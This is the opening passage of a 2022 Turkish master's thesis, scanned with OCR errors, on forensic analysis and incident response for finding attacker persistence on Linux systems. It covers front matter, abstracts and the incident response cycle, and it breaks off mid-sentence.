T.C.
FIRAT UNIVERSITESI
FEN BiLIMLERI ENSTITUSU

LiNUX SiSTEMLER iCiN DERINLEMESINE ADLi ANALiZ
YAPILARAK KALICILIK YAPILARININ TESPiT EDILMESI

Biisra AYTEKIN
Yiksek Lisans Tezi

ADLI BiLiSiM MUHENDISLIGI ANABILiM DALI
Adli Bilisim Miihendisligi Bilim Dali

TEMMUZ 2022



T.C.
FIRAT UNIVERSITESI
FEN BiLIMLERI ENSTITUSU

Adli Bilisim Miihendisligi Anabilim Dali

Yiiksek Lisans Tezi

LINUX SISTEMLER iCiN DERINLEMESINE ADLI ANALIZ
YAPILARAK KALICILIK YAPILARININ TESPIT EDILMESI

Tez Yazari
Biisra AYTEKIN

Danisman
Dog. Dr. Fatih ERTAM

TEMMUZ 2022
ELAZIG



T.C.
FIRAT UNIiVERSITESI
FEN BIiLIMLERi ENSTITUSU

Adli Bilisim Miihendisligi Anabilim Dali

Yiiksek Lisans Tezi

Bashgr:  Linux Sistemler i¢in Derinlemesine Adli Analiz Yapilarak Kalicilik
Yapilarimin Tespit Edilmesi

Yazar: Biisra AYTEKIN

[lk Teslim Tarihi: 04.06.2022
Savunma Tarihi: 04.07.2022

TEZ ONAYI

Firat Universitesi Fen Bilimleri Enstitiisii tez yazim kurallarina gore hazirlanan bu
tez asagida imzalart bulunan jiiri {iyeleri tarafindan degerlendirilmis ve akademik
dinleyicilere agik yapilan savunma sonucunda OYBIRLIGI ile kabul edilmistir.

jmza
Damgman: Dog. Dr. Fatih ERTAM Onayladim
Firat Universitesi, Teknoloji Fakiiltesi
Bagkan: Prof. Dr. Omiir AYDOGMUS Onayladim
Firat Universitesi, Teknoloji Fakiiltesi
Uye:  Dr. Ogr. Uyesi Ibrahim Riza HALLAC Onayladim

Alanya Alaattin Keykubat Universitesi, Miihendislik Fakiiltesi

Bu tez, Enstitii Yonetim Kurulunun ....... S /20....... tarihli toplantisinda tescillenmistir.

Prof. Dr. Kiirsat Esat ALYAMAC
Enstiti Miidiiri



BEYAN

Firat Universitesi Fen Bilimleri Enstitiisii tez yazim kurallarina uygun olarak hazirladigim “Linux
Sistemler i¢in Derinlemesine Adli Analiz Yapilarak Kalicilik Yapilarmin Tespit Edilmesi ” Baglikli Yiiksek
Lisans Tezimin igindeki biitlin bilgilerin dogru oldugunu, bilgilerin iiretilmesi ve sunulmasinda bilimsel
etik kurallarma uygun davrandigimi, kullandigim biitiin kaynaklar1 atif yaparak belirttigimi, maddi ve
manevi destegi olan tiim kurum/kurulus ve kisileri belirttigimi, burada sundugum veri ve bilgileri unvan
almak amaciyla daha 6nce hicbir sekilde kullanmadigimi beyan ederim.

04.07.2022

Biisra AYTEKIN



ONSOZ

Son yillarda siber saldirilarin her tiirlii elektronik ortami hedef igerisinde bulundurdugu ve vakalarin
¢Oziim siirecinin uzamasinin sisteme vermis oldugu tahribati artirmis oldugu tespit edilmistir. Bu nedenle
gelismis yonetimli miidahale iiriinleri kullanilarak yapilan hizli incelemeler sonucu Windows sistemlerden
adli delil elde etme siiregleri yayginlasmis ve daha kolay iken, Linux sistemlerden elde edilen delillerin
incelenmesi ve Linux sistemlerde saldir1 vektorlerinin acgik sekilde belirlenmesi daha simirli yontemler
sonucunda olustugundan konu 6zelinde arastirma yapilmasi gerekliligi motivasyon olusturmustur.

Adli bilisim, siber sugla ilgili her tiirlii elektronik cihaz igerisinde bulunan verilerin gerektiginde
mahkemelerce delil olarak kabul edilecek sekilde kurtarilmasina ve arastirilmasina, inceleme yapildiktan
sonra raporlanmasina odaklanan bir siirectir. Elektronik cihazlar arasinda; bilgisayarlar, ag, bulut, sabit
stiriicii, sunucu, telefon veya altyapiya bagl herhangi bir u¢ nokta sistemi bulunur. Ayrica, e-posta, SMS,
resim/video, silinen dosyalardan ve ¢ok daha fazlasindan bilgi toplamayr amaclayan siirectir. Isletim
sistemi Ozelinde saldir1 gostergelerinin tespit edilmesi adli analiz kapsaminda agiga kavusturulmasi sistem
iizerinde bulunan ugtan uca giivenlik yapisina katki saglamaktadir.

Siber saldirilar igerisinde vakalarin ¢6ziim siireci uzadik¢a sisteme verilen tahribat o Olglide
artmaktadir. Bu nedenle yonetimli miidahale iiriinleri veya sistemden elde edilen veriler kullanilarak
yapilan hizli incelemelerin ve tespitlerin bilyiik Snemde &niine gecen bir yapidir. Incelemeler sonucunda
elde edilen belli gostergeleri, tespit yazilimlari parametreleri kontrol ederek tiim sistem iizerinde detayli
gosterge degerleri tespit edilir, Linux sistemler {izerinde adli vakalar tizerinde inceleme yontemlerinin nasil
oldugu ve sistemde kalicilik birakmaya ¢alisan gostergeler tespit edilerek analiz siireclerinin aktarilmast

amaglanmistir
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OZET

Linux Sistemler i¢in Derinlemesine Adli Analiz Yapilarak Kalicilik
Yapilarinin Tespit Edilmesi

Biisra AYTEKIN

Yiksek Lisans Tezi

FIRAT UNIVERSITESI
Fen Bilimleri Enstitiist

Adli Bilisim Miihendisligi Anabilim Dal1

Temmuz 2022, Sayfa: xi + 54

Gilinlimiizde, siber saldirganlar ele gecirdigi makineler iizerinde hizli bir sekilde yayilim
gosterebilmektedir. Olay miidahale ekipleri, saldirinin izlerini tespit etmek ve olast tehditleri takip etmek
icin glivenlik ihlaline maruz kalan makineler {izerinde uctan uca inceleme yapmaktadir. Olay miidahale ve
adli analiz siireglerinde dijital delillerin incelenmesi ve kovusturma evresine ge¢is yapilmasi biiyiik 6nem
tagimaktadir. Windows isletim sistemlerinde Adli bilisim uzmanlari, saldirinin takibi siirdiirebilmesi i¢in
bazi makinelerden toplu ve hizli sekilde veriler toplayip analiz edebilme imkanina sahiptir. Linux agik
kaynak kodlu isletim sistemlerinde goriiniirliik daha kisith oldugundan ilgili kaynaklarin degerlendirilmesi
ve anlamlandirilmasi gerekmektedir.

Adli analiz siireglerinin yayginlik gdstermesi ve gelisen teknoloji yapist ile Linux agik kaynak kodlu
isletim sistemlerinde de saldirinin kaynaginin ve yayilimin tespiti icin dosya sistem kayitlari veya log
dosyalarmin toplanmasi analiz stirecleri yonetilmistir. Windows isletim sisteminde adli delil nitelikleri daha
fazla ve acik iken, Linux sistemlerde saldir1 aktiviteleri gorliniirliigi bakimindan daha azdir. Saldirganlar
belirli yontemler ile sistemleri ihlal etmekle kalmayip, sistem iizerinde kalicilik birakarak zamanlanmis
gorevler ekleyerek sistemden bilgi toplama amagli mekanizmalar iiretmeye ¢alismaktadir.

Adli bilisim uzmaninin, vakanin hizli analizi i¢in canli bir sistemden veya adli bir imaj igerisinden
onemli igletim sistemi dosyalarini toplamasi yeterli olacaktir. Bu tez c¢alismasinda, Linux isletim
sistemlerinde adli analiz siireglerinin yonetilmesi, saldirganlarin Linux sistemlerde kalic1 olmak i¢in hangi
yapilari kullandiklar test edilerek ve tespitler analiz siirecleri 1s18inda aktarilacaktir.

Linux sistemlerde kalic1 olan saldir1 aktivitelerini tespit edememek kurumsal ag igin biiyiik tehdit
olusturmaktadir. Bu tez c¢alismasi kapsaminda, Linux isletim sistemi {izerinde yer alan cihazlarin aktif
dizinlerinden toplanan veriler ile saldir1 aktivitelerinin tespiti ve kovusturma evresine kadar bulunan siirecin
yonetilmesi ve zamanlanmig saldir1 gérevleri yaparak sistem {izerinde uzun yillar kalict olmay1 amaglayan

birtakim iglemler aktarilmistir.

Anahtar Kelimeler: Kalicilik Mekanizmasi, Adli Analiz, Olay Miidahalesi, Log Inceleme
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ABSTRACT

Detection of Persistence Structures by Performing In-Depth Forensics
Analysis for Linux Systems

Biisra AYTEKIN
Master's Thesis

FIRAT UNIVERSITY
Graduate School of Natural and Applied Sciences

Department of Digital Forensic Engineering

July 2022, Pages: xi + 54

Today, cyber attackers can spread rapidly on the machines they have seized. Incident response teams
conduct an end-to-end inspection of compromised machines to detect traces of the attack and track down
potential threats. In the incident response and forensic analysis processes, it is of great importance to
examine digital evidence and make a transition to the prosecution phase. In Windows operating systems,
forensic experts have the opportunity to collect and analyze data from some machines in a fast and
collective way in order to continue the attack. Since the visibility is more limited in Linux open source
operating systems, it is necessary to evaluate and make sense of the relevant resources.

With the prevalence of forensic analysis processes and the developing technology structure, file system
records or collection of log files were managed in order to determine the source and spread of the attack in
Linux open source operating systems. While forensic evidence features are more and clear in the Windows
operating system, attack activities are less visible in Linux systems. Attackers not only violate the systems
with certain methods, but also try to create mechanisms for collecting information from the system by
adding scheduled tasks, leaving persistence on the system.

It will be sufficient for the forensic expert to collect important operating system files from a live system or
a forensic image for rapid analysis of the case. In this thesis, the management of forensic analysis processes
in Linux operating systems will be tested by testing which structures the attackers use to stay on Linux
systems and the findings will be conveyed in the light of the analysis processes.

Failure to detect persistent attack activities on Linux systems poses a great threat to the corporate network.
Within the scope of this thesis, some processes aiming to be permanent on the system for many years by
performing timed attack tasks and detecting attack activities with the data collected from the active
directories of the devices on the Linux operating system and managing the process up to the prosecution
phase are conveyed.

Keywords: Persistence Mechanism, Forensic Analysis, Incident Response, Log Investigation
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1. GIRIS

Olay miidahalesi ve adli analiz siireglerinde tespit hizli miidahale asamalari, saldiri
gostergeleri ve ilgili vakaya ait elektronik delillerin toplanmasi ve saklanmasi olduk¢a 6nem arz
etmektedir. S6z konusu elektronik delillerin biitiinliigiiniin bozulmamasi agisindan kopyasinin
alinarak detayl1 analiz edilmesi gerekmektedir. Bu birebir kopya imaj dosyasidir. imaj ad1 verilen
birebir kopya mantiksal ve fiziksel olarak ayrilmaktadir. Dosya sisteminin tamaminin incelendigi
kopyalama fiziksel, belirli bir boliimiin incelenecegi veri depolama biriminde mantiksal imaj
alma yontemine basvurulmaktadir. Olay miidahale asamasinda imaj alma tiirii konuya bagimh
olarak gelismektedir. Olay miidahale siireclerinde ortamda yer alan biitiin elektronik delil niteligi
tagiyan cihazlar adli kopyas1 alinarak incelenmelidir.

Glinlimiizdeki siber saldirilarla karsi kasiya kalan kurum veya kuruluglara ait kurumsal
agda saldirganlar hizla yayilim gosterebilmektedir. Yayilim gosteren saldiri aktivitesi ile kisa
stirede bircok elektronik cihaz (Telefon, Bilgisayar, Sunucu ve hatta kamera gibi cihazlar)
saldirganlar tarafindan ele gegirilebilir. DFIR ekipleri, s6z konusu vakanin yasandigi ortamda
saldirinin kaynag1 ve yayilimin tespiti i¢in ele gecirilen cihazlardan elektronik delil toplamakta ve
incelemektedir. Gelismis teknolojilerde uc¢ nokta tehdit tespit iiriinleri (EDR) araciligi ile binlerce
sensOr ayni anda takip edilebilmektedir. Bu delil kaynaklarini, gizli dosyalar1 arastirarak bilgi
toplamak, herhangi bir arastirma icin son derece yararl olabilir [1]. Temel olarak, dijital adli
sorusturma siiregleri, bulgulari incelemek, analiz etmek ve ilgili paydaslara sunmak i¢in kanitlarin
tamimlanmasi, toplanmasi ve elde edilmesini igerir [2]. lgili kaynaklar ve loglarmin toplanmasi
birtakim giivenlik iiriinleri {izerinden takip edilmesi seklinde ilerletilmektedir Elektronik delil
toplarken, ilgili sistemlerin ¢aligmasinin devam ettirilmesine veya hizmet kesintisi saglamamasina
dikkat edilmesi gerekmektedir. Bu sebeple, adli bilisim uzmani siber saldirilardan etkilenen
sunucu veya bilgisayarlardan canli olarak elektronik delil elde etmelidir. Saldirganlar tarafindan
erigilmig olan cihazlardan saldirmin kaynaginin ve yayilimin tespiti i¢in Linux isletim sistemine
sahip sistemlerde birka¢ dosya sistem kaydi veya log dosyalariin toplanmasi ile saglanabilir.
Adli bilisim uzmaninin, vakanin hizli analizi i¢in canli bir sistemden veya adli bir imaj
igerisinden onemli igletim sistemi dosyalarini toplamasi yeterli olacaktir. Bu sayede fiziksel veya
mantiksal disk goriintiisiinii analiz etmek i¢in saatler harcanmadan, ilgili vakanin ¢oziilmesi

saglanabilir.

1.1. Tezin Amaci

Bu tez ¢aligmasinin 5 temel amaci bulunmaktadir.

e Olay miidahale yonetim siireclerinin ¢ercevelerini aktarmak



e Derin analiz yontemleri ile tehdit tespiti yontemlerini aktarmak

e Sistem iizerinde saldirganlarin biraktig1 kalicilik mekanizmas1 yontemlerini aktarmak

e Acik kaynak kodlu yazilimlar kullanilarak adli delil inceleme ve kovusturma stireclerini
aktarmak.

o Gelismis Kalicilik Mekanizmasi degerlerini sistem iizerinde tarama metotlar1 kullanarak

belirlemek ve ¢iktilar1 anlamlandirmak.

1.2. Bulgular

Bu tez calismasinda oncelikle adli delil elde etme ve olasi olay siireclerinde miidahale
asamalart aktarilarak Linux sistemler iizerinde adli delil elde etme yontemleri ve araglar
kullanilarak yapilan testler ile detayli bir sekilde calismalar yapilmistir. Kalicilik birakma
yontemleri aktarilarak saldirganlarin iz birakma yontemleri test edilmistir.

Mevcut kaynaklar ile delil elde etme yontemleri, temel delil dizinleri, log kaynaklari,
zararli yazilim tespitleri ve diger tiim olay kavusturma siireclerinde kullanilmasi gereken
yontemler belirlenmistir.

5 adet senaryo iizerinden saldir1 yontemleri belirlenmis ve agamalari raporlanmustir.

1.3. Tezin Organizasyonu

Bu tez c¢aligmasi 7 bolimden olusmaktadir. Tez calismasinin ikinci boliimiinde olay
miidahale siireclerinden bahsedilerek, Linux isletim sistemlerinde adli analiz, derin analiz ve
kalicilik mekanizmalarindan bahsedilerek 3 ana baslik halinde ele alinmistir. Bu basliklar da ise
mevcutta bulunan bazi siber giivenlik ¢oziimlerine deginilip yapilmis olan biiyiik saldirilar1 ve
saldiriya ugrayan sistemlerden adli delil elde etme yontemleri iizerinde durulmustur.

Tez galismasinin dordiincii boliimiinde siber istihbarattan bahsedilerek 3 ana baglik altinda
ele alinmigtir. Besinci bolimde ise materyal ve metot 6 ana baslik altinda ele alinmigtir. Bu
bagliklarda kalicilik mekanizmalar1 senaryolar1 ve tespit yontemleri ele alinarak gelistirilmis olan
tarama yontemlerine yer verilmis ve tespit sonuglari raporlanmigtir. Altinct boliimde ise bulgular
ve tartigma alanina yer verilmistir. Tezin yedinci ve son olan boliimiinde ise sonug ve 6nerilerden

bahsedilmistir.



2. OLAY MUDAHALE SURECLERI

Olay miidahalesi, siber giivenlik vakasina biitiin olarak miidahale etmeyi amaglar. Giivenlik
olaylarina sistematik bir sekilde yaklasmak ve basarili bir sekilde siire¢ yOnetimi saglamak
amaclanmaktadir. Olay miidahalesi ve olay miidahale dongiisii, siber saldir1 durumunda aktiveyi
hizla kontrol altina almak, zarar1 en aza indirmek ve olaydan deneyimler elde edilerek yeni
onlemlerin alinmasi i¢in adimlar atilmasidir. Olay miidahalesi, siipheli bir siber saldir1 ihlaline
hazirlanmak, tespit etmek, kontrol altina almak ve ortadan kaldirmak igin bir kurulus tarafindan
sorumluluk alinan bir yapidir. Siire¢ yonetiminde tespit asamasindan ortamin iyilesmesine kadar
gecen siireg takip edilmektedir. Bir olay miidahale planinda, siber saldirilara karsi Onleme
yapilmasiin yani sira sistemin verilerini korumak, itibarin1 ve maddi hasar kayiplarmi da
korumay1 amaglamaktadir. Enfekte olan cihazlardan saldirinin kaynagiin ve yayilimin tespiti
icin isletim sistemi iizerinde sistemlerden birkag dosya sistem kaydi veya log dosyalarinin
toplanmast ile saglanabilir. Adli bilisim uzmaninin, vakanin hizli analizi igin canli bir sistemden
veya adli bir imaj icerisinden 6nemli isletim sistemi dosyalarini toplamasi yeterli olacaktir. Bu
sayede fiziksel veya mantiksal disk goriintiisiinii analiz etmek i¢in saatler harcanmadan, ilgili
vakanin ¢oziilmesi saglanabilir.

Olay miidahalesinde, bir ortamda siber saldirilardan etkilenen yiizlerce cihaz olabilir. S6z
konusu cihazlar {izerinde anlik veriler elde edilmesi veya 6n bilgi olarak adlandirdigimiz triyaj
verisi toplanilmasi yeterli olacaktir. Linux sistemler iizerinde ilgili kayitlarin toplu halde elde
edilebilmesi i¢in birgok hazir ara¢ kullanilmaktadir. Linux sistemde dosya dizin yapis1 ve gerekli
EOE(Evidence of Execution) degerlerinin toplanmasi i¢in standartlar mevcuttur. Toplanan
kayitlar ile vakanin analiz siiresi ve analiz yapan kisilerin is yiikii azaltilmaktadir. Bu tez
caligmasinda Linux igletim sistemine sahip cihazlardan ve dosya sistem kaydinin igerisinden log
dosyalarinin elde edilmesi yontemlerine ve ilgili vakanin kok nedeninin tespit edilmesi i¢in analiz
edilmesi gereken kayitlardan veri elde edilmesi hususunda detayli olarak ¢aligsmalar yapilmistir.

Linux igletim sistemlerinde giivenligin saglanmasi yapilacak sikilastirma siireglerinin
gerceklestirilmesi igin yapilan konfigiirasyonlar sonucunda saldir1 parametrelerine karst onlem
seviyesini artirmak olay miidahale siireglerinin énemli bir par¢asini olugturmaktadir.

Kurum ve kuruluslar o6zelinde SOAR gibi giivenlik {irlinleri, siber giivenlik
operasyonlarinin otomatiklestirmesini saglayarak sistem iizerinde hizli aksiyon almarak hizh
¢oziim ve hizli aksiyon siiregleri yonetilebilir. Giivenlik analistleri diger giivenlik iiriinleri ile
entegrasyon yapilmig ilgili sistemlerde siiregleri otomatiklestirilmesi sonucunda tek bir {riin
iizerinden anormal durum tespit ederek analizini yapmak ve 1iyilestirme aksiyonlarini

cikartabilmektedir.



Giliniimiizde adli bilisim siireglerinde, kurumsal bir olay miidahale prosediirleri giderek
daha fazla kullanmilmaktadir. Hazirlik kapsaminda, bir kurulusun olay miidahale siirecini
hizlandirmak igin bir siber saldirinin 6ncesinde alabilecegi prosediirler olarak tanimlanir. ilgili
prosediirler {lizerinde yer alan tamimlamalarin girdilerini kapsamaktadir. Giivenlik {iriinlerinin
planlanmasi ve siire¢ icerisinde yonetimi biiyiilk 6nem tasimaktadir. Olay miidahalesinde zaman
kisithdir ve dijital kanitlarin hizli bir sekilde toplanmasini ve analiz edilmesini gerektirmektedir.
Mevcut olabilecek giivenlik ihlaline miidahale edilirken, adli bilisim agisindan saglam kanitlarin
edinilmesi, saldirgan tehdidinin hizla kesintiye ugramasi veya etkisiz hale getirilmesi, ortaya
cikan ekonomik ve itibar kaybin en aza indirilmesi ile dengelenmelidir [3]. Olay miidahalesinde
amagc siber saldirilarin detayli sekilde tespitini gerceklestirmek ve bu saldirilara olabildigince
zamaninda etkili olarak miidahale etmektir. Saldir1 etkilerini en aza indirgemek ve sistemde
biitiinsel bir iyilestirme saglamak amaclanmaktadir. Sistemler {izerinde saglanan iyilesmenin yani
sira saldir1 vektorlerinin sistem iizerinden tamamen silinmesi, saldirganin tespit edilmemis dosya
ve dizinlerde kalicilik olusturmasi, zamanlanmis gorev olusturmasi amaglanmaktadir.

Dijital adli sonuglarda yeterli giiveni saglamak igin ¢esitli yontemler gelistirilmistir [4].
Farkli kosullar altinda veri ¢ikarmak icin 6zel adli teknikler ve beceriler gerekmektedir [5].

Siber saldir1 ve tehdit yonetim siireglerinde belirli politika ve prosediirlerin takip edilmesi
giivenlik sikilastirmalarmin sistem iizerinde 6nemli seviyelerde tutulmasi kurum ve kurulus veri
giivenligi, biitiinliigli agisindan 6nem tagimaktadir.

Siber saldirilara karsi, yonetilebilir bir olay miidahale dongiisii; hazirlik, tespit etme ve
analiz, temizlik ve kurtarma, saldiri sonrasi alinacak Onlemler olarak iizere dort asamadan
olugmaktadir. Olay miidahalesi siire¢lerine ait dongii NIST tarafindan belirlenmistir [6]. Olay

miidahalesi siiregleri Sekil 2.1°de yer almaktadir.
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Temizlik

Sekil 2.1. Olay miidahale dongiisii

2.1. Tespit Tammlama

Linux sistemlerde Adli Analiz islemlerinde tespit ve tanimlama asamalar1 saldiri
aktivitelerinde goriiniirliik saglamanin temelini olusturmaktadir. Siber saldiridan etkilenen
yapinin ag ortaminin taninmasi, bu tehditlerin belirlenip sistem {izerinde olusturdugu riskleri
belirlemek gerekmektedir. Saldirtya ugramig sistemin ag ortaminda konumu, iizerinde g¢alisan
uygulamalarin varligi, bulundugu topoloji geregi riskleri, sistemin internete agik olma
durumlarinin arastiritlmasi gerekmektedir.

Sistem {izerinde bulunan saldir1 aktiviteleri, kullanici tarafli anormal aktivitelerin tespiti ve
tespit edilen olaylarinin uygun bir sekilde simiflandirmak igin kritik, yiiksek, orta veya diisiik
onem dereceleri belirlenmektedir. Ayrica hizli bir sekilde harekete gegebilir ve kolluk
kuvvetlerinin siber olaylar1 detayli ve aktif olarak arastirmasi ve ele almasina yardimci olabilir
[7].

Ayn1 zamanda biiyiik kurumlarda gérev ve yetkilendirme talepleri belirli ¢ergevelerde
oldugundan tespit edilen anormal durum hususunda alinan aksiyonlar ve gérev yapilandirmalar
bliyliik 6nem tagimaktadir. Anormal durumun tespiti ve tanimlama agsamasinda elde edilmesi
gereken verilerin tespiti kaynaklarin tahsis edilmesi ve planlamanin diizgiin sekilde ilerlemesine
imkan saglar.

Giivenlik firiinleri tizerinde olusturulan kurallar, saldir1 tabanli olusturulmaktadir ve
analistler tarafindan kontrolleri saglanmaktadir. {lgili anormal durumlarin tespiti sistem iizerinde

olusmasi ve alarm tiirlerine gore tespitinin yapilmasi dnem tasimaktadir.
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Kurumsal ag ortamindaki kotii niyetli aktivelerin tespiti i¢in giivenlik kontrollerinin
saglanmasi biitliinlidiir. Ag lizerindeki aktivelerin takibi i¢in IDS ve IPS alarmlarin takibi, kural
yazimi ve alarmlan olusturulabilir. IDS ve IPS yapilar kurum giivenligi agisindan biiyiik 6nem
tagimaktadir. IDS (Intrusion Detection System) saldirilar tespit etmeyi amaglarken IPS (Intrusion
Prevention System) sistemleri saldirtyr durdurma, 6nleme lizerine kurgulanmistir. Kurumsal agda
bulunan biitlin u¢ noktalarin izlenmesi, gilivenlik {riinlerinin ajanlarin kurumlarn yapilmasi ile
makineler iizerinde, hesap ¢alma, yayilim, zafiyetlerin somiiriilmesi gibi kotiiciil aktivitelerin
tespiti saglanmalidir.

Kurum igerisinde tehdit istihbarat servislerinin aktif olarak kullanilmasi, arastirmaci
kaynaklar, derin internet gibi alanlar detayli incelenmelidir. Bu gibi alanlardan alinan bilgilerin
incelenmesi, ¢alinan kurumsal bilgilerin izlenmesi, tespit edilmesi ve ihlal bildiriminin yapilmasi
KVKK (Kisisel Verilerin Korunmasi Kanunu) agisindan da biiyiikk 6nem tasimaktadir. Kurum
icerisinde entegre calisilan kuruluslarin giivenligi kurulan baglantilar agik portlar, giivenlik duvari
yapilandirmalart gibi durumlar i¢in kontroller ve konfigiirasyonlar tam yapilmali, dis giivenlik
iiriinlerinde tespit edilen zararli parametreler tiim kurum icerisinde aratilmahdir. Iyi egitimli
ekiplerin, dogru olay miidahale planlarina uyum saglamasi, ekiplerin kotii niyetli aktiviteyi tespit
ettiginde, uygun bir sekilde oOncelik taniyabilmesi ve daha genis organizasyonlari nasil
duyurularda bulunacaklarimi yonetmeleri gerekmektedir.

Kurum igerisinde son kullanici tarafindan da birtakim bildirim yapilandirmalariin
bulunmas: biiyiik 6nem tagimaktadir. Son kullanicilar ihlal tespiti yaptiginda giivenlik ekiplerine
bildirimde bulunabilmelidir.

Uygun yontemler tespit edildikten sonra yapilan tiim iyilestirme ve g¢aligmalar sistem
tizerinde kurumsal agr korumaya yonelik olmalidir. Aktivelerin izlenmesinde goérevli olan
ekiplerin, herhangi bir siber saldir1 olayinin tespitinde acele karar vermemeli, uygun 6nlemler
alinmalidir [8].

Vakanin kok sebebinin bulunmasinda sistemin ne oldugu alinacak 6nlemler konusunda
bliyliik 6nem tasimaktadir. Giivenlik {iriinleri tizerinde bir son kullanici {iriinii iizerinde olusan
zararli yazilim tespiti yapmissa alinan Onlem ile kritik bir sunucu iizerinde yapilan islemler
sonucu alinan bir alarmda alinmasi gereken aksiyon ¢ok daha farkli olmak zorundadir. Tespit
yapilan sistemde onemli olan sistem veya servis lizerinde ¢alisan uygulamalarin ne amacla
kullanildig, sistemde firewall iizerinde agik portlarin bulunup bulunmadigina dair bilgilerin aciga

kavusmasi tespit agamasinda bilylik onem tasimaktadir.

2.2. Analiz

Tespit edilen anormal durumun bulundugu sistemin ugtan uca analiz edilmesi

gerekmektedir. Linux isletim sistemlerinde adli analiz asamasi detayli olarak yapilmalidir.
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Windows isletim sistemlerinde dosya sistemi kayitlari, erisim loglar1 kayitlari, antiviriis loglar
kayitlar1, registry kayitlar1 gibi delil analizleri bulunmaktadir.

Analiz agamasina baglamadan 6nce hazirlik siirecleri yonetilmektedir. Hazirlik agsamasinda,
analizcilerin yaygin olarak kullanilan ve erisilebilen alanlarin analizi yapilmaktadir. En yaygin
siber saldirn olaylar1 veya sistemlerinize dogrudan etki edecek riskleri belirleyerek hazirlik
stireclerini bu sekilde yonetebiliriz. S6z konusu risklere miidahale edilmesi durumda operasyonel
olarak rehberlik edecek ve eyleme gecirilebilir durumda olan senaryo adimlar1 olusturulmalidir.

Linux acik kaynak kodlu isletim sistemlerde adli delil analizi yapilirken sistemde bulunan
oncelikli zafiyetlerin tespit edilebilmesi gerekmektedir. Tespit tanimlama asamasinda sistem
hakkinda detayli bilgi toplanmak zorundadir. Sistemin bulundugu durum konum ve sistem
iizerinde c¢alisan uygulamalarin gorevleri dogru sekilde bilinmeli ve analiz biitiinsel agidan
izlenmelidir.

Linux sistemlerde dosya dizin yapisinin incelenmesi, bagarili giris denemeleri, basarisiz
girisler, son aktiviteler, calistiritlan son komutlar, eklenen zamanlanmis gorevler, log dosyalari
gibi konu 6zelinde incelenecek alanlar ile konu agiga kavusturulmaktadir.

Analiz siiregleri baglarken olusan tehdidin seviyesi ve tiirline gore 6n kayit alinir, 6n
kayitlar herhangi bir alan ile ilgili olabilir. On kayitlar sonucunda sorunun kok nedenine gidilmesi
amagclanir. Konularn biitiinliige kavusmasi i¢in bazen 6n kayitlar yeterli olmak ile birlikte bazen
uctan uca imaj kaydi alinarak tiim dosya ve dizin boliimleri incelenir. Linux sistemlerde 6n kayit
icerisinde ilgili konu 6zelinde tespit edilen zararliya yonelik ilgili dosyalarin ¢ekilerek, zaman
kayb1 olmadan incelemeye baslanmasi seklinde olmaktadir.

Sistem iizerinde dosya sistem kayitlari, oturum acan kullanicilar, yetki yiiksekligi bulunan
dosyalar, basarili ve basarisiz girisler ve daha bircok delil kaynag incelenir. inceleme sonucunda
elde edilen bulgular 15181nda 6nleyici veya iyilestirici faaliyetler yapilmaktadir.

Analiz yapilirken biitiinsel agidan bakilarak zararli parametrelerin sistem {izerinde
zamanlanmis gorev veya kalici hasar birakmamasina yonelik analiz ¢alismalar1 dahil edilmelidir.
Linux sistemlerde ugtan uca imaj aliabilmesi ve detayl1 inceleme yapilabilmesi i¢in agik kaynak
kodlu araglar mevcuttur. Ilgili yazilimlar aracilig1 ile sistemde ugtan uca inceleme yapma imkani

bulunmaktadir

2.3. Onleme

Siber saldir1 sonucunda olusan kétiiciil aktivite izlerinin tespit edilmesi bazi durumlarda
analiz asamasinda iken kurumsal ag {izerinde gerekli engelleme ve izolasyon islemlerinin
yapilmasi gerekmektedir, saldirinin tekrar yasanmamasi i¢in dnlemlerin alinmasi saglanmalidir.

Analiz asamas1 bazen 24 saat, bazen ise giinler alabilmektedir. Bu siirecte elde edilen

dosyalarin imza bilgisin zararli oldugu tespit edilirse, anlik olarak dnleme islemleri yapilmalidir.
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Kurum genelinde dosya ismi, hash bilgisi, domain adresi veya istek yapan zararh adreslerin
engellenmesi iglemleri saldirinin 6nlenmesi konusunda biiylik 6nem tagimaktadir.

Saldirinin yayilimin1 engellemek i¢in gerekirse anlik 6nlemler alinmasi gerekmektedir.
SIEM, EDR gibi giivenlik iirtinleri ile tiim kurum genelinde 6nlemler alinmaktadir.

Bir olay tespit edildikten veya tanmimlandiktan sonra analiz bulgularmin sonucunda elde
edilen veriler ile uygulamaya gecirilen béliimdiir. Onleme asamasinin temel amaci hasar1 kontrol
etmek ve daha fazla hasar olusmasim engellenmektir. Onleme asamasinda SANS ve NIST gibi
standart islemlerin bulundugu platformlardan tavsiye ettigi tim adimlar uygulanmalidir. SANS
adli bilisim konularinda uluslararasi arastirmalar yapan bir orgiittiir. Ozellikle “olay miidahalesi
icin daha sonra ihtiyag duyulabilecek herhangi bir kanitin imha edilmesini 6nlemek icin”
engellemeler yapilmalidir.

Saldir1 vektorleri tespit edilen Linux sistemler tizerinde zararlinin silinmesi, zararli—siirecin
durdurulmasi konsol iizerinden yapilmaktadir. Giivenlik {iriinii bulunan sistemler iizerinde
giivenlik ajanlarinin saglik durumunun kontrol edilmesi ve giivenlik ajan1 bulunmayan ortamlarin

oncelikli olarak kurulum agamalarinin tamamlanmasi gerekmektedir.

2.4. Temizlik

Siber saldir1 sonucunda olusan kotiictil aktivite izlerinin kurumsal ag {izerinde
temizlenmesi, yok edilmesi ve saldirinin tekrar yasanmamasi i¢in yeniden kurulumlarin yapilmasi
gerekmektedir.

Bu asamada sistem lizerinde yapilan testler biiyiik 6nem tagimaktadir. Sistemin tamamen
temiz oldugundan veya zararlilarin sistem iizerinde herhangi bir dizinde bulunmaya devam
etmediginden emin olunmalidir.

Yeniden kurulum talebinde bulundugumuz sistem yoneticileri yedekleme dosyalarindan
sistem kurulumunu yapmis olma ihtimaline karsi, sistemi zararli yonde etkileyen islemi
yedekleme dosyalarindan tekrar kurumsal ag igerisine eklemis olabilirler. Enfekte sistemin

temizliginin kontrol edilmesi bu agidan biiyiik 6nem tagimaktadir.

2.5. lyilestirme

Kurtarma asamasi ile olayr geride birakip, kurulusun itibar1 ve ekonomik kayiplarini
onlemek i¢in gelecekte benzer siber saldiri olaylarla miicadele hazirlikli olunmasi gerekmektedir.
Siber saldirinin k6k nedeninin anlasilmasi, iyilestirmelerin uygulanmasi ve geri bildirimlerin
saglanmas1 gibi dongiiden olusmaktadir [9]. Her olaydan deneyim elde edilmesi ve bazi olay
miidahale dokiimanlarinin giincellenmesi saglanmalidir. Siber giivenlik diinyasinda; son 3 yil

icerisinde %20 artis olarak, u¢ nokta giivenlik ¢dziimii pazar1 gelirlerinin 6neminin artacagi



